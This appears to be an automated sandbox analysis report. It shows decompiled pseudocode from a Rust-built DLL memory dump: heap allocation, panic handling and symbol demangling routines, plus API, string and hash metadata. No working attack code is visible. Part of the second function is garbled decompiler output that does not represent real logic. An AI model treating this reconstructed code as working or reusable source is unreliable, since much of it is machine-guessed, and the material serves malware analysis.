													E6EDC0EC0(_t192,  &_v72, _v44, _t245, _t262);
													_t281 = _t281 + 4;
													_t218 = _v72;
													_t248 = _v68;
													_t262 = _v64;
													_t195 = 0;
													_t160 = _v56;
													__eflags = _t160;
													if(_t160 != 0) {
														goto L81;
													} else {
													}
													goto L84;
												}
											} else {
												__eflags = _t192 - 0x201;
												if(_t192 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										} else {
											_t171 = GetLastError();
											__eflags = _t171 - 0x7a;
											if(_t171 != 0x7a) {
												goto L63;
											} else {
												_t194 = _t194 + _t194;
												__eflags = _t194 - 0x201;
												if(_t194 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										}
									} else {
										_t172 = GetLastError();
										__eflags = _t172;
										if(_t172 != 0) {
											_t195 = 1;
											_t173 = GetLastError();
											_t218 = 0;
											_t248 = _t173;
											_t160 = _v56;
											__eflags = _t160;
											if(_t160 != 0) {
												L81:
												__eflags = _v48;
												if(_v48 != 0) {
													__eflags = _t160 & 0x7fffffff;
													if((_t160 & 0x7fffffff) != 0) {
														_v44 = _t218;
														HeapFree( *0x6ee0adc8, 0, _v48);
														_t218 = _v44;
													}
												}
											}
											L84:
											__eflags = _t195;
											if(_t195 == 0) {
												_t161 = _v76;
												 *_t161 = _t218;
												_t161[1] = _t248;
												_t161[2] = _t262;
											} else {
												__eflags = _t218 - 3;
												 *_v76 = 0;
												if(_t218 == 3) {
													_v20 = 4;
													_v44 = _t248;
													 *((intOrPtr*)( *((intOrPtr*)(_t248 + 4))))( *_t248);
													_t281 = _t281 + 4;
													_t267 = _v44;
													_t220 =  *((intOrPtr*)(_t267 + 4));
													__eflags =  *(_t220 + 4);
													if( *(_t220 + 4) != 0) {
														_t167 =  *_t267;
														__eflags =  *((intOrPtr*)(_t220 + 8)) - 9;
														if( *((intOrPtr*)(_t220 + 8)) >= 9) {
															_t167 =  *(_t167 - 4);
														}
														HeapFree( *0x6ee0adc8, 0, _t167);
													}
													HeapFree( *0x6ee0adc8, 0, _t267);
												}
											}
											__eflags = _v80 & 0x7fffffff;
											if((_v80 & 0x7fffffff) != 0) {
												HeapFree( *0x6ee0adc8, 0, _v36);
											}
											goto L76;
										} else {
											goto L71;
										}
									}
								}
							} else {
								_t228 = _t242;
								_t268 = _t148;
								while(1) {
									__eflags =  *_t268;
									if( *_t268 == 0) {
										break;
									}
									__eflags =  *((short*)(_t268 + 2));
									if( *((short*)(_t268 + 2)) == 0) {
										break;
									} else {
										__eflags =  *((short*)(_t268 + 4));
										if( *((short*)(_t268 + 4)) == 0) {
											break;
										} else {
											__eflags =  *((short*)(_t268 + 6));
											if( *((short*)(_t268 + 6)) == 0) {
												break;
											} else {
												__eflags =  *((short*)(_t268 + 8));
												if( *((short*)(_t268 + 8)) == 0) {
													break;
												} else {
													__eflags =  *((short*)(_t268 + 0xa));
													if( *((short*)(_t268 + 0xa)) == 0) {
														break;
													} else {
														__eflags =  *((short*)(_t268 + 0xc));
														if( *((short*)(_t268 + 0xc)) == 0) {
															break;
														} else {
															__eflags =  *((short*)(_t268 + 0xe));
															if( *((short*)(_t268 + 0xe)) == 0) {
																break;
															} else {
																_t228 = _t228 + 0xfffffff8;
																_t268 = _t268 + 0x10;
																__eflags = _t228 - 7;
																if(_t228 > 7) {
																	continue;
																} else {
																	goto L45;
																}
															}
														}
													}
												}
											}
										}
									}
									goto L96;
								}
								L48:
								_t223 = _v68;
								_v56 = 0x6edfdec8;
								_v60 = 0x1402;
								__eflags = _t223;
								if(_t223 != 0) {
									__eflags = _t148;
									if(_t148 != 0) {
										__eflags = _t223 & 0x7fffffff;
										if((_t223 & 0x7fffffff) != 0) {
											HeapFree( *0x6ee0adc8, 0, _t148);
										}
									}
								}
								__eflags = _v60 - 3;
								if(_v60 == 3) {
									_t224 = _v56;
									_v36 = _t224;
									_t70 = _t224 + 4; // 0x2c
									_v20 = 2;
									 *((intOrPtr*)( *_t70))( *_t224);
									_t281 = _t281 + 4;
									_t179 = _v36;
									_t226 =  *((intOrPtr*)(_t179 + 4));
									__eflags =  *(_t226 + 4);
									if( *(_t226 + 4) != 0) {
										_t181 =  *_t179;
										__eflags =  *((intOrPtr*)(_t226 + 8)) - 9;
										if( *((intOrPtr*)(_t226 + 8)) >= 9) {
											_t181 =  *(_t181 - 4);
										}
										HeapFree( *0x6ee0adc8, 0, _t181);
										_t179 = _v56;
									}
									HeapFree( *0x6ee0adc8, 0, _t179);
								}
								L75:
								 *_v76 = 0;
								L76:
								_t151 = _v28;
								 *[fs:0x0] = _t151;
								return _t151;
							}
							goto L96;
						}
					}
				} else {
					_t142 = GetProcessHeap();
					if(_t142 == 0) {
						L94:
						_t239 = 2;
						E6EDD6C30(_t192, 0xa, 2, _t245, _t262, __eflags);
						asm("ud2");
						L95:
						E6EDD6DB0(_t192, _t245, _t239, _t245, _t262, __eflags, 0x6edfded0);
						asm("ud2");
						__eflags =  &_a8;
						E6EDB4AA0( *_v44,  *((intOrPtr*)(_v44 + 4)));
						return E6EDBD420(_t263);
					} else {
						 *0x6ee0adc8 = _t142;
						goto L3;
					}
				}
				L96:
			}

APIs

GetProcessHeap.KERNEL32 ref: 6EDBD56C
HeapAlloc.KERNEL32(02ED0000,00000000,0000000A), ref: 6EDBD583

Strings

RUST_BACKTRACE, xrefs: 6EDBD63A, 6EDBD670

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess
String ID: RUST_BACKTRACE
API String ID: 1617791916-3454309823
Opcode ID: 8040baac766068ec179f9ef9f0b8c370e83e148ab988dac841d011ffec94f1c0
Instruction ID: 2dde12a015ee0e91676fdad34e65112c99a14c950da12795b3b6203bd2a81b6b
Opcode Fuzzy Hash: 8040baac766068ec179f9ef9f0b8c370e83e148ab988dac841d011ffec94f1c0
Instruction Fuzzy Hash: 1B028BB1E00219CBEF14CFD8C890BDDBBB6AF49314F144169D81AB7280E775A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB77B4, Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 423
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E6EDB77B4(signed int __ecx, void* __eflags) {
				intOrPtr _t127;
				signed int _t129;
				signed int _t130;
				signed int _t131;
				signed int _t133;
				void* _t134;
				intOrPtr* _t136;
				intOrPtr* _t138;
				intOrPtr* _t140;
				intOrPtr* _t150;
				intOrPtr* _t153;
				intOrPtr* _t154;
				signed int* _t155;
				signed int _t157;
				signed int _t158;
				signed int _t162;
				signed int _t164;
				signed int _t165;
				signed int _t167;
				signed int _t170;
				signed int _t171;
				void* _t173;
				void* _t175;
				signed int _t176;
				signed int _t180;
				signed int _t181;
				signed int _t183;
				signed int _t184;
				signed int _t196;
				void* _t198;
				void* _t200;
				signed char _t201;
				signed int* _t203;
				signed char _t204;
				signed int _t207;
				signed char _t208;
				intOrPtr _t212;
				signed int _t215;
				signed int _t216;
				signed int _t218;
				char* _t220;
				char* _t221;
				signed int _t222;
				signed int _t225;
				signed int _t226;
				signed int _t238;
				signed int _t239;
				signed int _t241;
				signed int _t245;
				intOrPtr _t250;
				signed char _t251;
				signed int _t258;
				intOrPtr _t268;
				unsigned int _t273;
				void* _t281;
				char* _t282;
				signed short _t286;
				signed int _t288;
				signed int _t290;
				signed int _t291;
				signed int _t292;
				char* _t295;
				signed int _t303;
				signed int _t307;
				void* _t308;
				void* _t311;
				void* _t312;
				signed int* _t313;
				void* _t316;

				_pop(_t127);
				if(__eflags != 0) {
					 *((intOrPtr*)(_t308 + 0x10)) = _t250;
					_t251 =  *(__ecx + 4);
					 *((intOrPtr*)(_t308 + 0x14)) = _t127;
					 *(_t308 + 4) = __ecx;
					__eflags = _t251;
					if(_t251 == 0) {
						L19:
						_t288 =  *(_t308 + 4);
						_t214 =  *(_t288 + 0x14);
						__eflags =  *(_t288 + 0x14);
						if( *(_t288 + 0x14) == 0) {
							L21:
							 *_t288 = 1;
							goto L22;
						} else {
							_push(0x10);
							_t129 = E6EDB1DE0(_t214,  &M6EDFCB85);
							_t215 = 1;
							__eflags = _t129;
							if(_t129 == 0) {
								goto L21;
							}
						}
						goto L23;
					} else {
						_t130 =  *(_t308 + 4);
						_t216 =  *(_t130 + 0xc);
						_t131 =  *(_t130 + 8);
						__eflags = _t216 - _t131;
						 *(_t308 + 0xc) = _t216;
						 *(_t308 + 8) = _t131;
						if(_t216 < _t131) {
							_t290 =  *(_t308 + 4);
							_t279 = 0xffffffff;
							_t133 =  *(_t308 + 0xc) + 1;
							__eflags = _t133;
							_t218 =  ~( *(_t308 + 8));
							while(1) {
								__eflags = _t218 + _t133 - 1;
								if(_t218 + _t133 == 1) {
									goto L19;
								}
								_t196 =  *(_t251 + _t133 - 1) & 0x000000ff;
								 *(_t290 + 0xc) = _t133;
								_t133 = _t133 + 1;
								_t279 = _t279 + 1;
								_t198 = _t196 + 0xd0;
								__eflags = _t198 - 0xa;
								if(_t198 < 0xa) {
									continue;
								} else {
									_t200 = _t198 + 0x9f;
									__eflags = _t200 - 6;
									if(_t200 < 6) {
										continue;
									} else {
										__eflags = _t200 - 0x5f;
										if(_t200 != 0x5f) {
											goto L19;
										} else {
											_t291 =  *(_t308 + 0xc);
											_t134 = _t133 + 0xfffffffe;
											_t201 = _t251;
											__eflags = _t134 - _t291;
											if(_t134 < _t291) {
												L38:
												E6EDD6F60(_t201,  *(_t308 + 8), _t291, _t134, 0x6edfcb2c);
												_t311 = _t308 + 0xc;
												asm("ud2");
												goto L39;
											} else {
												__eflags = _t291;
												if(_t291 == 0) {
													L13:
													_t209 = _t201 + _t291;
													_t268 = _t308 + 0x18;
													 *((intOrPtr*)(_t308 + 0x18)) = _t201 + _t291;
													 *(_t308 + 0x1c) = _t279;
													E6EDB8720(_t308 + 0x20, _t268);
													__eflags =  *(_t308 + 0x20);
													if( *(_t308 + 0x20) == 0) {
														_t291 =  *( *(_t308 + 4) + 0x14);
														__eflags = _t291;
														if(_t291 == 0) {
															goto L22;
														} else {
															_push(2);
															_t180 = E6EDB1DE0(_t291, 0x6edfcc17);
															_t316 = _t308 + 4;
															_t215 = 1;
															__eflags = _t180;
															if(_t180 != 0) {
																goto L23;
															} else {
																_push(_t279);
																_t181 = E6EDB1DE0(_t291, _t209);
																_t215 = 1;
																_t311 = _t316 + 4;
																goto L34;
															}
														}
													} else {
														_t183 =  *( *(_t308 + 4) + 0x14);
														__eflags = _t183;
														if(_t183 == 0) {
															goto L22;
														} else {
															 *(_t308 + 8) = _t183;
															_t212 =  *((intOrPtr*)(_t308 + 0x2c));
															_t184 =  *(_t308 + 0x28);
															__eflags = _t184 - 0x2710;
															asm("sbb ecx, 0x0");
															if(_t184 < 0x2710) {
																_t238 = 0x27;
															} else {
																_t241 = 0x27;
																asm("o16 nop [cs:eax+eax]");
																do {
																	 *(_t308 + 4) = _t241;
																	 *(_t308 + 0xc) = _t184;
																	_t286 = E6EDC9F10(_t184, _t212, 0x2710, 0);
																	_t184 = E6EDC9F90(_t184, _t212, 0x2710, 0);
																	_t245 = ((_t286 & 0x0000ffff) >> 2) * 0x147b >> 0x11;
																	__eflags = 0x5f5e0ff -  *(_t308 + 0xc);
																	asm("sbb esi, ebx");
																	_t303 =  *(_t308 + 4);
																	_t212 = _t268;
																	 *((short*)(_t308 + _t303 + 0x31)) =  *(_t245 + _t245 + 0x6edfb61c) & 0x0000ffff;
																	 *((short*)(_t308 + _t303 + 0x33)) =  *((_t286 - _t245 * 0x00000064 & 0x0000ffff) + (_t286 - _t245 * 0x00000064 & 0x0000ffff) + 0x6edfb61c) & 0x0000ffff;
																	_t241 = _t303 - 4;
																} while (0x5f5e0ff <  *(_t308 + 0xc));
															}
															_t279 =  *(_t308 + 8);
															__eflags = _t184 - 0x63;
															if(_t184 > 0x63) {
																_t273 = _t184 & 0x0000ffff;
																_t184 = (_t273 >> 2) * 0x147b >> 0x11;
																 *((short*)(_t308 + _t238 + 0x33)) =  *((_t273 - _t184 * 0x00000064 & 0x0000ffff) + (_t273 - _t184 * 0x00000064 & 0x0000ffff) + 0x6edfb61c) & 0x0000ffff;
																_t238 = _t238 + 0xfffffffe;
																__eflags = _t238;
															}
															__eflags = _t184 - 0xa;
															if(_t184 >= 0xa) {
																 *((short*)(_t308 + _t238 + 0x33)) =  *(_t184 + _t184 + 0x6edfb61c) & 0x0000ffff;
																_t239 = _t238 + 0xfffffffe;
																__eflags = _t239;
															} else {
																 *((char*)(_t308 + _t238 + 0x34)) = _t184 + 0x30;
																_t239 = _t238 - 1;
															}
															__eflags = 0x27;
															_push(0x27 - _t239);
															_t291 = _t279;
															_push(_t308 + _t239 + 0x35);
															_push(0);
															_t181 = E6EDB1AA0(_t279, 0x6edfcd60);
															_t311 = _t308 + 0xc;
															_t215 = 1;
															L34:
															__eflags = _t181;
															if(_t181 != 0) {
																goto L23;
															} else {
																__eflags =  *_t291 & 0x00000004;
																if(( *_t291 & 0x00000004) != 0) {
																	goto L22;
																} else {
																	_t201 =  *((intOrPtr*)(_t311 + 0x10)) + 0x9f;
																	__eflags = _t201 - 0x19;
																	if(__eflags <= 0) {
																		_t279 = _t201 & 0x000000ff;
																		_t134 = 4;
																		_t201 =  *((intOrPtr*)(_t311 + 0x14)) +  *((intOrPtr*)(0x6edb7b98 + (_t201 & 0x000000ff) * 4));
																		goto __ebx;
																	}
																	L39:
																	_t220 = "called `Option::unwrap()` on a `None` value";
																	_t136 = E6EDD6E20(_t201, _t220, 0x2b, _t279, _t291, __eflags, 0x6edfcc1c);
																	_t312 = _t311 + 4;
																	asm("ud2");
																	asm("stosb");
																	 *((intOrPtr*)(_t220 - 0x46fffffd)) =  *((intOrPtr*)(_t220 - 0x46fffffd)) + _t201;
																	_t138 = _t136 +  *_t136 +  *((intOrPtr*)(_t136 +  *_t136));
																	_t140 = _t138 +  *_t138 +  *((intOrPtr*)(_t138 +  *_t138));
																	_t221 =  &(_t220[_t140]);
																	_t203 = _t201 + _t138 + _t201 + _t138;
																	 *_t291 =  *_t291 + _t221;
																	 *0x2b =  *0x2b + _t203;
																	_t150 = _t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))))) + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))))) + _t221)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))))) + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)) +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56 +  *((intOrPtr*)(_t140 +  *_t140 + _t221 +  *((intOrPtr*)(_t140 +  *_t140 + _t221)) + 0x56)))))) + _t221))));
																	 *_t291 =  *_t291 + _t150;
																	 *0x2b =  *0x2b + 0x56;
																	 *_t221 =  *_t221 + _t203;
																	_t153 = _t150 +  *_t150 +  *((intOrPtr*)(_t150 +  *_t150)) +  *((intOrPtr*)(_t150 +  *_t150 +  *((intOrPtr*)(_t150 +  *_t150))));
																	 *((intOrPtr*)(_t153 + 3)) =  *((intOrPtr*)(_t153 + 3)) + _t153;
																	 *_t153 =  *_t153 + _t153;
																	asm("enter 0x3, 0x0");
																	asm("enter 0x3, 0x0");
																	_t154 = _t153 +  *_t153;
																	_t203[0] = _t203[0] + 0x56;
																	 *_t154 =  *_t154 + _t154;
																	_pop(_t281);
																	_t155 = _t154 +  *_t154;
																	_t203[0] = _t203[0] + _t221;
																	 *_t155 = _t155 +  *_t155;
																	__eflags =  *_t155;
																	asm("enter 0x3, 0x0");
																	if( *_t155 <= 0) {
																		 *_t155 = _t155 +  *_t155;
																		 *_t203 =  *_t203;
																		__eflags =  *_t203;
																	}
																	_t76 = _t281 + 0x55000003;
																	 *_t76 =  *(_t281 + 0x55000003) + _t221;
																	__eflags =  *_t76;
																	_push(_t203);
																	_push(_t281);
																	_push(_t291);
																	_t313 = _t312 - 0x24;
																	__eflags =  *_t221 - 1;
																	_t282 = _t221;
																	if( *_t221 != 1) {
																		_t222 =  *(_t282 + 8);
																		_t292 =  *(_t282 + 0xc);
																		_t157 =  *(_t282 + 4);
																		__eflags = _t292 - _t222;
																		_t313[3] = _t222;
																		if(_t292 >= _t222) {
																			L53:
																			__eflags = _t157;
																			if(_t157 == 0) {
																				L67:
																				_t204 = 0;
																				goto L72;
																			} else {
																				_t313[1] = 0x56;
																				_t258 = 0;
																				__eflags = _t292 - _t313[3];
																				_t204 = 0;
																				 *_t313 = _t292;
																				if(_t292 >= _t313[3]) {
																					goto L72;
																				} else {
																					_t313[2] = _t157;
																					_t225 = 0;
																					__eflags = 0;
																					_t307 =  *_t313 + 1;
																					_t164 = _t313[2];
																					asm("o16 nop [cs:eax+eax]");
																					while(1) {
																						_t165 =  *(_t164 + _t307 - 1) & 0x000000ff;
																						__eflags = _t165 - 0x5f;
																						if(_t165 == 0x5f) {
																							break;
																						}
																						_t207 = _t165 + 0xd0;
																						__eflags = _t207 - 0xa;
																						if(__eflags < 0) {
																							L63:
																							_t295 = _t282;
																							 *(_t282 + 0xc) = _t307;
																							_t170 = _t225;
																							_t208 = _t207 & 0xffffff00 | __eflags > 0x00000000;
																							_t171 = _t170 * 0x3e;
																							_t258 = (_t170 * 0x3e >> 0x20) + _t258 * 0x3e;
																							if(__eflags != 0) {
																								_t204 = 0;
																								__eflags = 0;
																								goto L71;
																							} else {
																								_t204 = 0;
																								_t225 = _t171 + (_t208 & 0x000000ff);
																								__eflags = _t225;
																								asm("adc edx, 0x0");
																								if(_t225 < 0) {
																									L71:
																									_t282 = _t295;
																									goto L72;
																								} else {
																									__eflags = _t313[3] - _t307;
																									_t164 = _t313[2];
																									_t307 = _t307 + 1;
																									_t282 = _t295;
																									if(__eflags != 0) {
																										continue;
																									} else {
																										goto L72;
																									}
																								}
																							}
																						} else {
																							_t173 = _t165 + 0x9f;
																							__eflags = _t173 - 0x1a;
																							if(__eflags >= 0) {
																								_t175 = _t173 + 0xbf;
																								__eflags = _t175 - 0x1a;
																								if(_t175 >= 0x1a) {
																									goto L67;
																								} else {
																									_t176 = _t175 + 0xe3;
																									__eflags = _t176;
																									goto L62;
																								}
																							} else {
																								_t176 = _t173 + 0xa9;
																								L62:
																								_t207 = _t176;
																								goto L63;
																							}
																						}
																						goto L76;
																					}
																					_t204 = 0;
																					_t226 = _t225 + 1;
																					__eflags = _t226;
																					 *(_t282 + 0xc) = _t307;
																					asm("adc edx, 0x0");
																					if(_t226 < 0) {
																						goto L72;
																					} else {
																						_t292 =  *_t313;
																						goto L49;
																					}
																				}
																			}
																		} else {
																			__eflags = _t157;
																			if(_t157 == 0) {
																				goto L53;
																			} else {
																				__eflags =  *((char*)(_t157 + _t292)) - 0x5f;
																				if( *((char*)(_t157 + _t292)) != 0x5f) {
																					goto L53;
																				} else {
																					_t313[1] = 0x56;
																					_t226 = 0;
																					__eflags = 0;
																					 *(_t282 + 0xc) = _t292 + 1;
																					L49:
																					_t204 = 0;
																					__eflags = _t226 - _t292 - 1;
																					asm("sbb edx, 0x0");
																					if(_t226 >= _t292 - 1) {
																						L72:
																						_t223 =  *(_t282 + 0x14);
																						__eflags =  *(_t282 + 0x14);
																						if( *(_t282 + 0x14) == 0) {
																							L74:
																							 *_t282 = 1;
																							 *(_t282 + 1) = _t204;
																							goto L75;
																						} else {
																							__eflags = _t204;
																							_t257 =  !=  ? "{recursion limit reached}{invalid syntax}" :  &M6EDFCB85;
																							_push((_t204 & 0x000000ff) + 0x10 + (_t204 & 0x000000ff) * 8);
																							_t162 = E6EDB1DE0(_t223,  !=  ? "{recursion limit reached}{invalid syntax}" :  &M6EDFCB85);
																							_t313 =  &(_t313[1]);
																							_t158 = 1;
																							__eflags = _t162;
																							if(_t162 == 0) {
																								goto L74;
																							}
																						}
																					} else {
																						_t204 = 1;
																						_t167 =  *(_t282 + 0x10) + 1;
																						__eflags = _t167 - 0x1f4;
																						if(_t167 > 0x1f4) {
																							goto L72;
																						} else {
																							__eflags =  *(_t282 + 0x14);
																							if( *(_t282 + 0x14) == 0) {
																								goto L75;
																							} else {
																								asm("movsd xmm0, [edi]");
																								asm("movsd xmm1, [edi+0x8]");
																								 *_t282 = 0;
																								 *(_t282 + 0xc) = _t226;
																								 *(_t282 + 0x10) = _t167;
																								_t313[8] =  *(_t282 + 0x10);
																								__eflags = _t313[1];
																								asm("movsd [esp+0x18], xmm1");
																								asm("movsd [esp+0x10], xmm0");
																								_t158 = E6EDB6F50(_t282);
																								asm("movsd xmm0, [esp+0x10]");
																								asm("movsd xmm1, [esp+0x18]");
																								asm("movsd [edi], xmm0");
																								asm("movsd [edi+0x8], xmm1");
																								 *(_t282 + 0x10) = _t313[8];
																							}
																						}
																					}
																				}
																			}
																		}
																		goto L76;
																	} else {
																		_t232 =  *(_t282 + 0x14);
																		__eflags =  *(_t282 + 0x14);
																		if( *(_t282 + 0x14) == 0) {
																			L75:
																			_t158 = 0;
																			__eflags = 0;
																			L76:
																		} else {
																			_push(1);
																			_t158 = E6EDB1DE0(_t232, "?\'for<, >  as ::{shimclosure#[]dyn  + ; mut const  unsafe extern \"");
																		}
																	}
																	return _t158;
																}
															}
														}
													}
												} else {
													__eflags =  *((char*)(_t201 + _t291)) - 0xbf;
													if( *((char*)(_t201 + _t291)) <= 0xbf) {
														goto L38;
													} else {
														goto L13;
													}
												}
											}
										}
									}
								}
								goto L78;
							}
						}
						goto L19;
					}
				} else {
					_t249 =  *((intOrPtr*)(__ecx + 0x14));
					if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
						L22:
						_t215 = 0;
						__eflags = 0;
					} else {
						_push(1);
						_t215 = E6EDB1DE0(_t249, "?\'for<, >  as ::{shimclosure#[]dyn  + ; mut const  unsafe extern \"");
					}
					L23:
					return _t215;
				}
				L78:
			}

0x6edb77b4
0x6edb77b5
0x6edb77d8
0x6edb77dc
0x6edb77df
0x6edb77e3
0x6edb77e7
0x6edb77e9
0x6edb7946
0x6edb7946
0x6edb794a
0x6edb794d
0x6edb794f
0x6edb7966
0x6edb7966
0x00000000
0x6edb7951
0x6edb7956
0x6edb7958
0x6edb7960
0x6edb7962
0x6edb7964
0x00000000
0x00000000
0x6edb7964
0x00000000
0x6edb77ef
0x6edb77ef
0x6edb77f3
0x6edb77f6
0x6edb77f9
0x6edb77fb
0x6edb77ff
0x6edb7803
0x6edb7811
0x6edb7815
0x6edb781a
0x6edb781a
0x6edb781b
0x6edb7820
0x6edb7823
0x6edb7826
0x00000000
0x00000000
0x6edb782e
0x6edb7833
0x6edb7836
0x6edb7837
0x6edb783a
0x6edb783d
0x6edb7840
0x00000000
0x6edb7842
0x6edb7844
0x6edb7847
0x6edb784a
0x00000000
0x6edb784c
0x6edb784c
0x6edb784f
0x00000000
0x6edb7855
0x6edb7855
0x6edb7859
0x6edb785c
0x6edb785e
0x6edb7860
0x6edb7b65
0x6edb7b72
0x6edb7b77
0x6edb7b7a
0x00000000
0x6edb7866
0x6edb7866
0x6edb7868
0x6edb7874
0x6edb7874
0x6edb787a
0x6edb787e
0x6edb7882
0x6edb7886
0x6edb788b
0x6edb7890
0x6edb797b
0x6edb797e
0x6edb7980
0x00000000
0x6edb7982
0x6edb7989
0x6edb798b
0x6edb7990
0x6edb7993
0x6edb7995
0x6edb7997
0x00000000
0x6edb7999
0x6edb799d
0x6edb799e
0x6edb79a3
0x6edb79a5
0x00000000
0x6edb79a5
0x6edb7997
0x6edb7896
0x6edb789a
0x6edb789d
0x6edb789f
0x00000000
0x6edb78a5
0x6edb78a5
0x6edb78a9
0x6edb78ad
0x6edb78b1
0x6edb78b8
0x6edb78bb
0x6edb79aa
0x6edb78c1
0x6edb78c1
0x6edb78c6
0x6edb78d0
0x6edb78d0
0x6edb78d6
0x6edb78e8
0x6edb78f3
0x6edb7904
0x6edb7919
0x6edb7922
0x6edb7924
0x6edb7928
0x6edb792a
0x6edb793a
0x6edb793f
0x6edb793f
0x6edb7944
0x6edb79af
0x6edb79b3
0x6edb79b6
0x6edb79b8
0x6edb79c6
0x6edb79d9
0x6edb79de
0x6edb79de
0x6edb79de
0x6edb79e1
0x6edb79e4
0x6edb79f7
0x6edb79fc
0x6edb79fc
0x6edb79e6
0x6edb79e8
0x6edb79ec
0x6edb79ec
0x6edb7a0d
0x6edb7a11
0x6edb7a12
0x6edb7a14
0x6edb7a15
0x6edb7a17
0x6edb7a1c
0x6edb7a1f
0x6edb7a21
0x6edb7a21
0x6edb7a23
0x00000000
0x6edb7a29
0x6edb7a29
0x6edb7a2c
0x00000000
0x6edb7a32
0x6edb7a36
0x6edb7a39
0x6edb7a3c
0x6edb7a42
0x6edb7a50
0x6edb7a55
0x6edb7a5c
0x6edb7a5c
0x6edb7b7c
0x6edb7b7c
0x6edb7b8b
0x6edb7b90
0x6edb7b93
0x6edb7b98
0x6edb7b9b
0x6edb7ba1
0x6edb7ba9
0x6edb7bab
0x6edb7bb7
0x6edb7bbb
0x6edb7bc3
0x6edb7bc5
0x6edb7bc7
0x6edb7bcb
0x6edb7bcf
0x6edb7bd1
0x6edb7bd3
0x6edb7bd6
0x6edb7bd8
0x6edb7bdc
0x6edb7be1
0x6edb7be3
0x6edb7be6
0x6edb7be8
0x6edb7be9
0x6edb7beb
0x6edb7bee
0x6edb7bee
0x6edb7bf0
0x6edb7bf4
0x6edb7bf6
0x6edb7bf8
0x6edb7bf8
0x6edb7bf8
0x6edb7bfb
0x6edb7bfb
0x6edb7bfb
0x6edb7c01
0x6edb7c02
0x6edb7c03
0x6edb7c04
0x6edb7c07
0x6edb7c0a
0x6edb7c0c
0x6edb7c2d
